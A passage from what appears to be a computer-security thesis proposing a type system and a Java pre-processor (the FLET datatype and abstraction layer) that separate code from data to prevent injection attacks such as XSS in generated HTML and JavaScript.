an CT -typed element is by explicitly creating a codetoken element2 .
Finally, to allow code assembly without violation of our typing rules, we introduce the
FLET as a mere container-type holding a set consisting of code- and data-tokens:

Γ ` ei : τi τi ∈ {DT, CT } i ∈ 1...n
(FLET)
Γ ` F LET (e1 : τ1 , ..., en : τn )

The FLET itself is a type-preserving container. Thus, the security typing remains
unchanged through retrieval procedures:

Γ ` M : F LET (e1 : τ1 , ..., en : τn ) τi ∈ {DT, CT } i, j ∈ 1...n

(retrieval)
Γ ` M.ej : τj
2
How such an element creation is incorporated into the native language is implemented on the syntac-
tical level – see Section 12.3 for details

180
 12.2. Introducing a specific datatype for secure code assembly

Consequently in our model, a given foreign code statement can be regarded sequence
of code- and data-tokens which are aligned in a FLET container. Within the native
language’s syntax the FLET is represented by a corresponding flet-datatype. Hence,
our model defines the following mapping between security types and datatypes:

Type Description Integrity level Assigned to

DT Data low datatoken, native datatypes
CT Code high codetoken
F LET Record-type (τ1 , ..., τn ), τi ∈ {high, low} flet

To show that our type system has the claimed characteristics we have to examine if
Biba’s *-Axiom is fulfilled, i.e. DT typed terms can not be utilized to define CT code.
Please note: For a complete proof of this claim we would have to take the applicable
semantics of the native language into account (as it is done for instance in [242]). As,
in the context of this section, such semantics are not available, due to the fact that it
is unspecified which native language is extended, we solely consider conditions that can
be derived from the typing-rules. The correct compliance to the typing rules have to
be enforced in the actual implementation. From now on, we assume that the regarded
native language has comparable characteristics to the language utilized in [242].

Lemma: In the given type system direct information flows from low integrity data to
high integrity code are not typable.

Proof: We examine the following assignment cases, which constitute all possible infor-
mation flows from a term e into a variable v:

vτ1 := eτ2 with τi ∈ {CT, DT }

The lemma’s claim is satisfied, if it is guaranteed that for all cases in which one of the
operands is typed with DT it holds that either

• the outcome the operations is typed to be DT or

• the assignment is not valid typable.

First, we regard the cases where τ1 == τ2 holds:

vDT := eDT and vCT := eCT

181
12. Enforcing Secure Code Creation

As in such cases the assignment-rule is satisfied, the term is valid typed (exemplified for
τi = CT ):

Γ ` v : CT var Γ ` e : CT
Γ ` v := e : CT cmd

Next, we show that assignments from high integrity data to low integrity variables is
typable:
vDT := eCT resulting in Γ ` v : DT var and Γ ` e : CT

We verify the claim by providing a valid type inferences: First, CT is a subtype of DT

(CT has higher integrity):

CT ⊆ DT

Therefore, it is allowed to downgrade an expression of type CT to the type DT using

the subtype-rule.

Γ ` e : CT CT ⊆ DT
Γ ` e : DT

Thus, type inference allows the assignment if and only if the resulting term is typed DT :

Γ ` e : CT CT ⊆ DT 1
Γ ` v : DT var Γ ` e : DT 2
Γ ` v := e : DT cmd
1
: via subtype rule
2
: via assignment rule

Finally, we examine the remaining case:

vCT := eDT resulting in Γ ` v : CT var and Γ ` e : DT

This operation is not typable: The assignment-rule demands that both operands have
to be of matching type. Therefore, one of the operands would have to be type-casted.
Consequently, one of the following two hypothetical type inference steps would be nec-
essary: Either the v : CT var expression has to be downtyped to DT . For such a step,
no typing rule is defined. Or the e : DT term has to be casted to CT . However, the
subtype-rule allows only type-casting from subtypes to supertypes. As CT is a subtype
of DT the rule is not satisfiable.

182
 12.2. Introducing a specific datatype for secure code assembly

Thus, we have shown that assignments involving both code and data elements are only
valid typable if the resulting term is of type DT. Hence, attempts to create code elements
through low integrity types, such as strings or data-tokens, cannot be typed in our type-
system. Therefore, as motivated in Section 12.2.1, in such situations a newly introduced
typing error is detected by the language’s type-checker: Insecure code assembly.
Datatokens and the native string are both typed with DT . Therefore, assignments in
both directions are allowed by the type-system, thus, enabling dynamic parametrisation
of foreign code statements (the specifics of such assignments depend on the particular
implementation that adds the new types to the native language).

Non-interference and code assembly

As discussed above, the non-interference property can be enforced for integrity require-
ments in order to prevent indirect impact of low-integrity data on high-integrity results.
However, in many real-life situations such non-interference in respect to foreign code
assembly is a too strict requirement. For example, take a web application which allows
the users to specify hyperlinks as part of their user-generated content (e.g., a wiki). All
user-driven data enters the application via the HTTP protocol. Thus, the data is received
in a character-based form and is processed by the native language’s string datatype (low
integrity). However, hyperlink-markup in the resulting foreign HTML consists in parts
of code-elements (high integrity). As direct flows from string to code types can not be
typed, these code-elements have to be generated explicitly as code-token types before
they can be added to the FLET (see Listing 12.1).
1 HTMLFLet h = new HTMLFlet ();
2 String userdata = session . getUserData ();
3
4 // If the userdata contains a hyperlink add the corresponding code to the FLET
5 if ( userdata . c o n t a i n s B o l d H y p e r l i n k ()){
6 String URL = userdata . getURL (); // URL is typed DT
7 String text = userdata . getURLText (); // text is typed DT
8
9 h += <b > // adding of code - token <b > to FLET , typed CT
10 h += <a href ="{ URL }" > // sequential adding of CT and DT elements
11 h += text // adding of the description , typed DT
12 h += </a > </b > // adding of code - tokens </a > < b / > , typed CT
13 }

Listing 12.1: Adding a user-provided hyperlink (pseudo-code)

Consequently, even when direct flows from the low integrity string-type to the high
integrity code-tokens are prohibited, the application logic requires the implementation
of an indirect information flow. For this reason, we explicitly allow such indirect flows
in our proposed type-system by solely enforcing one of Biba’s Axioms: the *-Integrity
Axiom (“no write-up”). Therefore, an implementation of our approach is not required
to type indirect relationships as they arise through conditionals (see above and [262]).
Nonetheless, in certain security-critical scenarios, such a non-interference property
for code assembly can be important, for instance, in the case of executing semi-trusted
code that interfaces with security sensitive external entities (e.g., a third-party weblog
plugin). In such cases, our approach can be extended analogous to Volpano’s work [262]
in order to enforce Biba’s Simple-Integrity Axiom (“no read-down”).

183
12. Enforcing Secure Code Creation

Translation of FLET content into foreign code

The FLET holds the assembled foreign code in the form of a sequence of code- and data-
tokens. However, before communicating with the external entities, the FLET’s content
has to be serialized back into a character-based representation suitable for the entities’
interfaces and parsers. In order to ensure the approach’s security guarantees, these serial-
ization and communication steps are realised outside the programmer-accessible, native
language features. Instead, as motivated in Section 12.1.2, the steps are implemented
safely encapsulated in the abstraction layer (see Sec. 12.4).
As initially motivated in Section 12.1.1, this methodology closely mirrors the tech-
niques of type-safe languages, such as Java, to ensure type-safety in respect to memory
allocation: Type-safe languages hide the actual memory management from the language
features. Instead, all memory related processes are implemented outside the program-
mer’s reach, safely abstracted through safe language features.

12.3. Language integration

As motivated in Section 12.1.4, the newly introduced datatypes for secure code assembly
have to be integrated into the (already existing) native language. Such a syntactical
integration has to outfit the programmer with tools to unambiguously create instructions
in the foreign language. Furthermore, the chosen method to specify foreign code content
has to comply to the type-system’s restrictions and requirements. Finally, as previously
discussed in Section 12.1.3 the language integration should not profoundly change the
syntaxes of neither the native nor the foreign language.
In this section we propose three different approaches how foreign syntax could be
integrated in the native language. The individual advantages and drawbacks of these
approaches are then discussed according to the design objectives listed in Section 12.1.3.

12.3.1. Implementation as an API

A straightforward technique to integrate foreign syntax into a given programming lan-
guage is to create a high level API that allows the assembly of foreign statements. There
are two different design paradigms to create such an API: The API could either emu-
late the foreign language’s syntax (from here on called syntactic API) or alternatively
recreate the semantics of the language’s instructions (semantic API).
Either way, such an implementation only adds the flet-datatype as a programmer-
visible element to the native language while, depending on the details of the specific
implementation, the handling of the datatoken and codetoken datatypes may be en-
capsulated in the internals of the API.
In the case of a syntactic API, the language-elements of the foreign syntax are trans-
lated into matching FLET-API methods. These methods create objects of matching
type which are implicitly added to the FLET-object (see the example below).

184
 12.3. Language integration

Example (syntactic API):

1 // SELECT * FROM Users
2 SQLFlet q = new SQLQuery . a d d K e y W o r d _ s e l e c t (). a d d M e t a C h a r _ s t a r ()
3 . a d d Ke y W o r d _ fr o m (). addString (" Users ");

Semantic APIs follow the semantics of the language’s instructions (examples of this
approach would be, for instance, the Document Object Model API [102] to create HTML-
structures or SQLDom [178] to create SQL-queries). Within this approach the API does
not mirror the structure of unparsed source code but the structure of the resulting
language object (e.g., the tree structure of a parsed HTML document). Either way,
to satisfy the security requirements that are the basis of our approach, the internal
implementation of the API has to retransform the method-calls into matching datatoken
and codetoken-elements before adding them to a flet container.

Example (semantic API, DOM [102]):

1 // <a href =" http :// www . foo . bar " >
2 var HTMLFlet document = new HTMLFlet ();
3 var FLETelement newElement = document . createElement ( ’a ’);
4 newElement . setAttribute ( ’ href ’ , ’ http :// www . foo . bar ’);
5 document . addChild ( newElement );

Advantages: Implementing this approach does not require any changes to the native
language or the language’s compilation/interpretation process. Therefore, it is applicable
immediately by solely implementing the API.

Disadvantages: The resulting call-structure of a semantic API differs significantly from

the original syntactic structure of the respective foreign language. For this reason,
the expected training effort is considerable. Furthermore, it has yet to be shown that
this approach is applicable for all existing foreign languages. Until now only mark-up
languages [102] and query languages [178] have been modeled this way.
In the case of a syntactic API the expected training effort of a programmer that is
already familiar with the foreign language should be tolerable. However, due to the
cumbersome syntax of such an API, creating non-trivial code results in large and overly
complicated constructs that are hard to read and maintain.

12.3.2. Extending the native language’s grammar

A clean approach towards integrating one computer language into another is to create
a combined grammar. This way syntactic elements of the foreign code are promoted to
first class members of the native language. The handling of the combined grammar by
the language’s parser is responsible for mapping the newly introduced language elements
to the matching token/integrity-types in order to enforce our security requirements.

Example:
1 String UName = " Joe Doe ";
2 SQLQuery q = SELECT * FROM Users WHERE Name = UName ;

185
12. Enforcing Secure Code Creation

For instance, following a related approach Meijer et al. [184] extended the C# -
grammar to contain a subsets of SQL and XML. Furthermore, the ECMA standard 357
[233] specifies E4X, a related integration of XML code into JavaScript’s native syntax.

Advantages: Ideally such a solution would not require any syntactical changes in the
foreign language. Therefore, the objective to closely mimic the foreign syntax is satisfi-
able and the expected training effort that would be required by an introduction of such
a mechanism can be expected to be moderate.

Disadvantages: Implementing such a solution requires profound changes in the native

language’s compiler or interpreter. Furthermore, the feasibility of this approach is not
guaranteed universally. Whether two languages can be combined this way depends on
factors like overlapping syntax elements, static vs. dynamic typing, or compiled vs.
interpreted execution. It is subject to further research to determine in which cases such
an approach towards language integration is possible.

12.3.3. Usage of a pre-processor

By employing a pre-processor the advantages of the two approaches above can be com-
bined without introducing significant additional disadvantages. Instead of directly in-
corporating the foreign syntax into the native language, an additional mechanism is
introduced that transparently translates foreign syntax into appropriate native code.
For this procedure a pre-processor that is executing the translation step, and a high
level API, representing the foreign code’s syntax (see Sec. 12.3.1), are required. The
actual foreign code is integrated in the source code and framed by explicit mark-up
signifiers (e.g., $$). Furthermore, to incorporate data-information from the native code
into the foreign code statements, the pre-processor has to provide a simple meta-syntax
(see example below and Section 12.5.1). Before the source code is compiled, the pre-
processor translates all foreign code that is framed by according boundaries into the
respective API representation.

Example:
1 String UName = " Joe Doe ";
2 SQLFlet q = $$ SELECT * FROM Users WHERE
3 Name = $nativeString ( UName ) $ ORDER BY ID ; $$

First steps in this direction were realized with SQLJ [6] and Embedded SQL [192],
two independently developed mechanisms to combine static SQL statements either with
Java or C respectively using a pre-processor. However, unlike our proposed approach
these techniques only allow the inclusion of static SQL statements in the source code.
The pre-processor creates native code that immediately communicates the SQL code to
the database. Thus, dynamic assembly and processing of foreign code, as it is provided
in our proposed approach via the FLET, is not possible.

186
 12.4. Abstraction layer design

Advantages: By using such a mechanism the foreign language’s syntax remains un-
changed. Therefore, the expected training effort consists mainly in learning the pre-
processor’s meta-syntax.

Disadvantages: An introduction of such a mechanism requires changes in the compi-

lation process. Before the code can be complied (or interpreted), the pre-processor has
to be executed in order to change the foreign code into the native API calls. There-
fore, the source code that has been written by the programmer differs from the source
code that is processed by the compiler. In the case that a compilation error occurs in
a code region that has been altered by the pre-processor, finding and eliminating this
programming error may prove difficult. For this reason, a wrapped compilation process
that post-processes the compiler’s messages is recommended.

12.4. Abstraction layer design

The FLET provides assembly and storage of foreign language information while main-
taining strict data/code separation. However, in most cases, the actual communication
with the external entities is still string-based. Therefore, a serialization of the FLET
back into a character-based representation is necessary. This capability is provided by
the abstraction layer. The abstraction layer is a centralized instance which contains the
domain-specific knowledge about the respective foreign language. It guarantees that the
serialization step does not reintroduce any code injection issues.

12.4.1. Position of the abstraction layer

It is essential that the abstraction layer isolates the language’s runtime environment
from the respective external entity. If a programmer is able to avoid the layer and
communicate with the external interpreter using the legacy interfaces, the programmer is
still able to introduce injection vulnerabilities. Therefore, the abstraction layer has to be
embedded as a mandatory component in the application server’s runtime-environment.
The remainder of this section discusses several implementation approaches. Furthermore,
in Section 12.6 we show how to concept an abstraction layer for the J2EE application
server framework.

Integral part of the native language

The abstraction layer could be realized within the means of the native language. Such
an implementation would either be done by integrating the layer’s functionality in the
language’s runtime (comparable to Java’s memory management) or by implementing
a programming library. In either case, the layer provides an interface through which
an instantiated FLET is received, serialized to foreign code and communicated to the
external entity.

187
12. Enforcing Secure Code Creation
Abstraction layer: Position (I)

Native Native Native

Language Language Language

AL

AL

AL

External External External

Interpreter Interpreter Interpreter

! Martin Johns, UH, FB Inf, SVS, 16.12.2005 26

Figure 12.4.: Potential positions of the abstraction layer

Advantages: Such a realization provides tight integration in the native language.

Furthermore, if the layer is implemented via a programming library, the deployment
requirements of applications that were written using this mechanism remain unaffected.
Disadvantages: Such a solution is specific for a given native language. This is
unfortunate as only a subset of the layer’s functionality, mainly the handling of the
FLET’s internal structure, is specific for a given native language. Other components, like
the serialization strategy (see Sec. 12.4.2), are independent from the particular properties
of the native language.
Additionally, if the layer is not implemented as a programming library, changes to
either the native language’s compiler or runtime are necessary.

Intermediate entity

Secondly, the abstraction layer could be implemented as a detached unit that resides
in between the native language’s interpreter and the external entity. In this case, the
native language translates an instantiated FLET into a language independent serializa-
tion object, that encodes the foreign instructions while maintaining the strict separation
between data and code. This object is then translated by the abstraction layer into
actual foreign code.
Advantages: Such an abstraction layer is independent from a specific native language
and is, thus, usable with any language for which a module exists that translates a FLET
into the language independent serialization format. Hence, all domain specific knowledge
concerning how to create safe foreign instructions has to be implemented only once.
Disadvantages: Realizing the abstraction layer as an intermediate entity adds com-
plexity to the installation process of an application. In addition to the native language’s
runtime and the external entity also the abstraction layer has to be deployed.
Furthermore, in this scenario an intermediate serialization step is necessary. The
FLET is first serialized into the language independent format before this format is
translated into foreign code by the abstraction layer, resulting in overhead and potential
performance penalties.

188
 12.4. Abstraction layer design

Part of the external entity

Finally, the abstraction layer could be directly integrated in the external entity (e.g., into
the database’s parser). In this case, the entity’s parsing unit can employ the data/code
information provided by the FLET.
Advantages: As discussed in Section 10.3 code injection vulnerabilities occur be-
cause of the confusion between data and code portions of dynamically generated foreign
instructions. The FLET’s internal structure maintains a strict separation between in-
formation that was meant by the programmer to be executed and information that was
meant to represent data. Additionally, as no step is necessary to translate the FLET’s
information back into foreign code, potential ambiguities cannot be reintroduced. Thus,
by directly using the information concerning data/code separation provided by the FLET
the external entity’s parser can reliably avoid mistakes that lead to code injection vul-
nerabilities.
In addition to the reliable protection this approach also should provide advantages
concerning the performance of applications employing this solution: The external entity’s
parser can benefit from the FLET’s representation of the foreign code, as the FLET
already provides the information in a pre-parsed form which is comfortably transferable
into a parse tree.
Disadvantages: Implementing this approach requires profound changes in the exter-
nal interpreter’s interface and parser. While the alternative solutions discussed above
can be implemented with programming libraries or additional executables, realizing such
an integration demands changing the actual external entity, resulting in high anticipated
development costs.
Furthermore, such alteration of the external entity is not always feasible. In certain
scenarios the external entity can not be influenced by the deployer of the application.
For instance, the operator of a web application has no means to alter the web browsers
of the application’s users.
Finally, such a solution is highly specific for a certain external entity, e.g., one cer-
tain database. This circumstance is significant when changes in the deployed technology
occur, e.g., when the actual deployed database is exchanged. While a given implemen-
tation of the alternative approaches outlined above can be adapted comparatively easy,
such a change would require high development costs in the currently discussed solution
approach, unless the newly deployed database already supports the FLET’s serialization
format.

12.4.2. Foreign code serialization strategy

If the abstraction layer is realized within the native language’s run-time environment or
as an intermediate entity, the actual communication with the external entity is still done
using a character-based representation of the foreign code. Therefore, the serialization
of an instantiated FLET has to be handled with care. Otherwise, injection attacks may
still be possible.
Opposed to other approaches, as for instance taint tracking (see Sec. 13.3.3), the

189
12. Enforcing Secure Code Creation

abstraction layer’s functionality does not rely on approximation. Utilizing the data/
code-information provided by the FLET, the abstraction layer is able to deterministi-
cally establish the correct code-context of a given data-element. Because of this knowl-
edge, the abstraction layer can choose reliably the correct encoding/mitigating strategy.
Therefore, neither false negatives, resulting in code injection problems, nor false positives
can occur.
The applicable serialization method is highly specific for the respective foreign lan-
guage. In the remainder of this section we discuss three general approaches towards
securely translating the FLET’s content into a character-based representation. Fur-
thermore, see Section 12.5.3 for an exemplified abstraction layer design concerning the
languages HTML and JavaScript.

• Disarming potential injection attacks by changing data representation:

Some external entities support encoding methods which reliably cause the entity
to treat all encoded data as non executable. For example, in HTML all characters
that are provided in their HTML-encoded version (“&...;”) are neither interpreted
as HTML nor as JavaScript3 . If such an encoding is available, all the abstraction
layer has to do is to encode the FLET’s data information, before passing on the
code. Unfortunately, not all external entity types provide such an alternative data
representation.

• Detecting injection attacks by comparing parse trees: Su and Wassermann

have outlined in [248] a method to detect injection attacks. Before passing the
foreign code to the external interpreter, the code is parsed twice: Once the exact
code that is supposed to be passed on and once a version of the code in which all
dynamically added data is exchanged with dummy data. A difference in the two
resulting parse trees is an indicator for an injection attack. Su and Wassermann’s
approach depends on dynamic data tainting, which is not always feasible and prone
to false positives. In our case, the tainting step is not necessary as the distinction
between data and code is already encoded in the FLET.
Such a solution provides a sound decision whether an injection attack was at-
tempted. Unfortunately, this protection comes with a price: A given foreign code
has to be parsed at least three times, twice in the abstraction layer and once in the
external entity. Therefore, the resulting overhead especially for large or complex
code blocks is expected to be substantial. Furthermore, such a solution would
be highly specific for one single external entity type, as the exact foreign parsing
process has to be duplicated in the abstraction layer.

• Encoding potential “dangerous” entities: Injection attacks can be detected

and disarmed by carefully examining the provided data and its execution context.
If attacker-provided data attempts to inject code, such an attempt can be detected
and disarmed by locally removing or encoding meta-characters that were used to
execute the injection attack. This technique closely resembles the current method
3
Exceptions to this rule, like URL-parameters, exist and have to be treated separately.

190
 12.5. Realising the concepts for HTML, JavaScript and Java

of output sanitation. In our case, there is the significant advantage that the sanita-
tion algorithm has concrete knowledge about the intended nature of the examined
code segments.
While being comparatively easy to realize, this approach has to be implemented
with great care as otherwise the application might still be vulnerable to sophisti-
cated attacks.

Choosing the appropriate serialization strategy

Whenever possible all dynamically provided data should be re-encoded in a non-executable
representation. If the external entity does not provide such an alternative string repre-
sentation, the developer should determine if the expected performance overhead of the
parse tree comparison method is compatible with the application’s objectives. Only if
this is not the case, the “classical” way of output sanitation should be implemented.

12.5. Realising the concepts for HTML, JavaScript and Java

To verify the feasibility of our concepts, we designed and implemented an according
solution to integrate the foreign languages HTML and JavaScript into the Java pro-
gramming language. We chose this specific implementation target for various reasons:
Foremost, as previously discussed, we regard XSS problems as one of the most pressing
vulnerability-classes nowadays. Furthermore, as HTML and JavaScript are two indepen-
dent languages with distinct syntaxes, such an implementation offers the opportunity
to exemplify two different approaches towards practical FLET design. Finally, reliably
creating secure HTML-code is not trivial due to the lax rendering process employed by
modern web browsers (see [95] for details).
Please note that the handling of Cascading Style Sheets (CSS), which embody in fact
a third foreign language, is left out in this thesis for brevity reasons.

12.5.1. Adding FLET handling to the Java language

Based on the discussion of the competing approaches towards language integration in
Section 12.3, we chose to solve the language integration problem by implementing a
language pre-processor as outlined in Section 12.3.3. For this purpose, a pre-processor
that is executing the translation step and an API which represents the foreign code’s
syntax have been designed. Using this approach the programmer can include the foreign
HTML/JavaScript syntax unaltered in the Java source code.

Metasyntax
To allow unambiguous identification of foreign HTML/JavaScript code that is meant to
be handled by the pre-processor, such code is framed by predefined syntactic markers
(based on the “$”-character). We introduce a simple metasyntax that enables the pro-
grammer to implement sophisticated code assembly within the native language. The

191
 12. Enforcing Secure Code Creation

meta-syntax provides means for creating, combining, and extending foreign code blocks
(see Listing 12.2) In addition to basic foreign code assembly, the meta-syntax also offers
methods to add native data-information for flexible dynamic creation of foreign code.
In particular, the meta-method $data()$ is available to include data values from Java’s
basic datatypes (string, int, double) into the foreign code.

Explicit adding of JavaScript code:

Due to the heterogeneous nature of the combined HTML/JavaScript grammar, the cre-
ation of Java-Script code requires special attention. The pre-processor can only distin-
guish JavaScript code from general text through the HTML-context of a particular code
fragment. An according context would either be framing <script>-tags or an attribute-
definition that expects JavaScript code inside its value, e.g., an event handler. Either
way, such a context is always limited to one specific foreign code block which is defined
by its framing syntactic markers. If the pre-processor should create JavaScript code
outside of such a context, the programmer has to communicate his intention explicitly
by employing the $+JS$-marker. Otherwise, the text would be added to the FLET as
non-executable data.

1 // Create a new FLET instance

2 HTMLFlet h $ = $ < table > < tr > < td > foo </ td > </ tr > $$
3
4 // Adding further code to a existing FLET instance :
5 h $ + $ <tr > < td > another table cell </ td > </ tr > $$
6
7 // Combining two FLET instances :
8 HTMLFlet h1 $ = $ < head > < title > Homer and Marge sitting on a tree </ title > </ head > $$
9 h $ = $ h $ + $ h1 $$
10
11 // Adding of JavaScript code
12 h $ + $ < script > var x = " Hello World "; $$ // implicit due to < script > - context
13 h $ + JS$ document . write ( x ); $$ // explicit
14 h $ + $ </ script > $$
15
16 // Add dynamic string information to foreign code statement
17 String email = req . getParameter (" email ");
18 h $ + $ <a href =" mailto : $data ( email ) $ " > Feedback </ a > $$

Listing 12.2: Metasyntax for code assembly

12.5.2. Designing an HTML/JavaScript-FLET API

As outlined in Section 12.3.3, following the pre-processor approach towards integrating
the foreign syntax into the native language requires the introduction of native language
elements which represent the FLET semantics. We added the FLET type to Java by
implementing a programming library. This library only exposes the FLET type through
its public interfaces. All handling of the actual token-elements is encapsulated in the
FLET API. Thus, the library is solely responsible for enforcing the type-safety require-
ments which have been formalized in Section 12.2.2. As Java is by nature type-safe, this
enforcement is feasible through careful design of the library-internal object types.

192
 12.5. Realising the concepts for HTML, JavaScript and Java

A safe extension of the type-system to allow API-level identifier-tokens

Before we can discuss the specific characteristics of our implemented API we have to
revisit and slightly extend the type-system which was proposed in Section 12.2.2.
As discussed in the section on dividing language elements to be either data or code,
we identified the element-class of identifier-tokens, such as variable- or function-names.
As such elements have an impact on the BSP (see Definition 10.4), identifier-tokens are
classified to be typed as code. However, the name-value of identifier-tokens is by nature
variable (opposed to static, pre-defined names of keyword tokens) and character-based.
Thus, by introducing an API for creating identifier-tokens to the native language’s scope,
we would introduce a direct flow from the low-integrity string type (DT , i.e.,data) to
the high-integrity codetokens (CT , i.e., code). Such a flow is not typable in our current
type-system.
For this reason, we have to introduce an additional, median integrity level (medium)
with a corresponding security type IT (identifier-type).

CT ⊆ IT ⊆ DT

Furthermore, in addition to codetoken and datatoken, we introduce a third new

basic datatype to reflect the foreign syntax’s identifier elements: identifiertoken.
Identifiertoken-elements are implicitly typed with IT .
Finally, according to our approach discussed in Chapter 11, we differentiate between
static string constants which are statically included in the native application’s source
code and dynamically processed strings: Static string constants are implicitly typed with
IT . This enables the valid typing of flows from such strings to identifier-tokens.
Thus, our type system allows defining the name-property of identifiertokens through
static strings (see Listing 12.3).
Our model now defines the following security types:

Type Description Integrity level

DT Data low
IT Identifier medium
CT Code high
F LET Record-type (τ1 , ..., τn ), τi ∈ {high, medium, low}

Table 12.1.: Defined types of the extended model

However, our system still prevents all flows from dynamic strings to either CT or
IT typed elements. As the Java type-system does not explicitly differentiate between
constant and dynamic strings, it is the pre-processor’s responsibility to enforce this
aspect of the type system.

193
12. Enforcing Secure Code Creation

1 FLET f = new FLET ();

2
3 // Forbidden due to typing error
4 String varname = getVarName (); // Typed DT
5 f . addVariable ( varname ); // Requires an IT typed argument
6
7 // Allowed as the constant String " counter " is implicitly typed IT
8 f . addVariable (" counter ");

Listing 12.3: API based creation of identifier-token objects (pseudo code)

General FLET API design paradigms

The FLET API was created according to the following paradigms:

• The process of foreign code creation has to be explicit and unambiguous.

• The primary purpose of the API is to inhibit code injection attacks. Hence, its
elements do not necessarily mirror the semantic meaning of the foreign language’s
elements.

• The API is not meant to be used by the programmer. It provides an interface to

be used by the code that was generated by the pre-processor.

A direct manual usage of this API by the programmer cannot be prevented. Therefore,
the API is specifically designed to prevent the implicit code-serialization of arbitrary
string-values. As a consequence, the FLET does not differentiate between trusted static
data and untrusted data that has entered the application on runtime. Such a distinction
would provide the programmer with a possible shortcut towards implicit code generation.
To design the actual API methods we strictly followed our classification of basic
language-elements which we presented in Section 10.4.2. For each of the identified basic
element-classes we added a family of methods which create corresponding token-elements
(while adding them implicitly to the FLET).
Before implementing these API methods, we established the strictest syntactic restric-
tion applying to a class’ elements. The API methods to add elements of a certain class
obey this syntactic restriction to enforce explicit code creation. For instance, a JavaScript
variable-identifier can only be composed of dashes, underscores, and alpha-numerical
characters, excluding the list of reserved keywords [57]. Consequently, a method to add
a variable-identifier to a JavaScript-FLET solely accepts a single parameter satisfying
these syntactic constraints.

Adding HTML code to the FLET

As discussed before, HTML is a special purpose markup language with comparatively
limited syntactic properties. Using the methodology of Section 10.4.1 we identified three
basic language elements: Tags, attributes, and general text. These three classes are the
basis for the FLET’s API concerning the creation of HTML.

194
 12.5. Realising the concepts for HTML, JavaScript and Java

1. Tag-elements: For each HTML tag the FLET provides a distinct set of meth-
ods to add opening and closing tags. For example, opening tags are created
with openingTag tagname() where tagname is replaced with the actual tag (e.g.,
openingTag h1() adds a <h1> tag). By calling such a method, a corresponding
codetoken object is created and added to the FLET.

2. Attribute-elements: HTML attributes are added to the preceding tag-element with

addAttribute attname(String value). The syntactic restrictions on the value
parameter depend on the actual attribute-type. Calling such a method creates
two distinct token-objects: A codetoken representing the attribute-class and a
second token containing the attributes value. The specific type of the second token
depends on the attribute’s class, ranging from codetokens (e.g., the value of the
input-tag’s type-attribute) over identifiertokens (e.g., the values of id-tags)
to datatokens (e.g., URL values).
Special consideration is needed concerning attributes that may carry JavaScript-
code, such as eventhandler definitions like onclick: Adding JavaScript to the
FLET requires a specialized API (see below). For this reason, the FLET provides
two additional methods which signify the start and the end of the JavaScript-value
respectively (see Listing 12.4).

3. Text-elements: All data that is neither classified to belong in the tag- or attribute-
classes nor meant to represent JavaScript-code (including HTML entities) is consid-
ered to be general text. Such elements are created with the method addText(String
text) and added as corresponding datatokens to the FLET.

Adding JavaScript code to the FLET

JavaScript is a self-contained programming language with a syntax that is completely
detached from HTML. For this reason, the FLET provides a distinct set of functions to
allow adding of JavaScript-code to the encapsulated foreign-code object.
The methods to add JavaScript syntax to the FLET adhere to the general classification
of basic language elements for general purpose programming languages as proposed in
Section 10.4.2. Based on the ECMAScript language definition [57] which standardizes
JavaScript’s syntax, we differentiate between four distinct element-classes:

1. Keywords: Codetoken elements representing members of JavaScript’s set of re-

served keywords as defined in [57, Sec. 7.5.2]. For each of these elements the
FLET provides a distinct API function. These functions adhere to the following
syntax convention: addJS Keyword() where Keyword is replaced with the actual
keyword (e.g., addJS while() adds a codetoken object representing while to the
FLET).

2. Punctuators: Codetoken elements representing legal meta-characters as defined

in [57, Sec. 7.7] (such as ; or =). For each of these meta-characters the FLET
provides a distinct API-function. Theses functions adhere to the following syntax

195
 12. Enforcing Secure Code Creation

1 HTMLFlet h = new HTMLFlet ();

2
3 // h $ + $ <a class = ’ external ’ onclick = ’ document . location =" http :// php . net " ’ > $$
4 // h $ + $ click me </ a > $$
5
6 h . openingTag_a (). h . a d d A t t r i b u t e _ c l a s s (" external "). s t a r t J S A t t r i b u t e _ o n c l i c k ();
7
8 h . ad d J S I d en t i f i e r (" document "). a d d J S M e t a c h a r _ d o t (). a d d J S Id e n t i f i er (" location ");
9 h . a d d J S M e t a c h a r _ e q u a l s ();
10 h . a d d J S M e t a c h a r _ d o u b l e q u o t e (). a d d J S S t r i n g V a l u e (" http :// php . net ")
11 h . a d d J S M e t a c h a r _ d o u b l e q u o t e ();
12 h . a d d J S M e t a c h a r _ s e m i c o l o n ();
13
14 h . en dJ SA tt rib ut e (). addText (" click me "). closingTag_a ();

Listing 12.4: Intermediate FLET-API code generated by the pre-processor

convention: addJSMetachar Character() where Character is replaced by a ver-

balized representation of the character (e.g., addJSMetachar equals() adds the
meta-character = to the code).

3. Identifiers: Identifiertokens representing programmer-defined identifier like vari-

ables or function names. Such tokens are added with the function
addJSIdentifier(const String id). The parameter id cannot contain any
white-space or illegal punctuation as defined in [57, Sec. 7.6]. Furthermore, ele-
ments of the keyword-token set as defined above are forbidden.

4. Data: String and numeric datatoken elements are added to the FLET with
the functions addJSStringValue(String val) and addJSNumericValue(Double
val) respectively.

Processing an instantiated FLET object

As motivated in Section 12.1.3, we aim to preserve the flexibility and power of string-
based code assembly. Hence, it should be possible to, for instance, search for certain
strings in the data-segment of the FLET, modify specified data-parts after they had
been added to an instance, split a FLET at a specified location, combine two FLETs, or
insert further code-information into a data-block (e.g., to create a content filter that adds
further HTML markup to a pre-computed page). For this reason, the FLET implements
the iterator pattern to allow such operations on an instantiated FLET object. For brevity
reasons we will not discuss this issue in depth in this thesis. See Table 12.2 for a brief
overview.

12.5.3. Disarming potential injection attacks

The actual communication with the user’s web browser is still done using a character-
based representation of the foreign code. Therefore, the abstraction layer has to han-
dle the serialization of an instantiated FLET with care. In our given implementation,
the content of every data-element contained in the FLET is transformed into an non-
executable representation before including it into the final HTML-page. While data

196
 12.5. Realising the concepts for HTML, JavaScript and Java

Method Purpose
FLETIterator SearchDataSegment(String e) Searches the data-portion of the FLET for e
FLETIterator SearchForSubFLET(HTMLFlet f) Searches the FLET for occurrences of f
HTMLFlet split(FLETIterator it) Splits the FLET at the position indicated by it
HTMLFlet append(HTMLFlet f) Appends the FLET f

Table 12.2.: Selected elements of the FLET’s iterator API

values that are encoded this way are still handled/displayed correctly, the encoding re-
liably causes the entity to treat such data as non-executable. Depending on the actual
context a given element appears in an HTML page, a different encoding technique has
to be employed to avoid injection attacks. As an instantiated FLET has detailed knowl-
edge on the foreign code’s semantic structure, the abstraction layer is able to reliably
determine the given code context. More specifically, there are three applicable, distinct
code contexts:

1. HTML-code: HTML-based code injections require the attacker to be able to in-

ject meaningful meta-characters into the final HTML-code, either to create a new
HTML-tag, an additional HTML-attribute, or break out of an existing attribute or
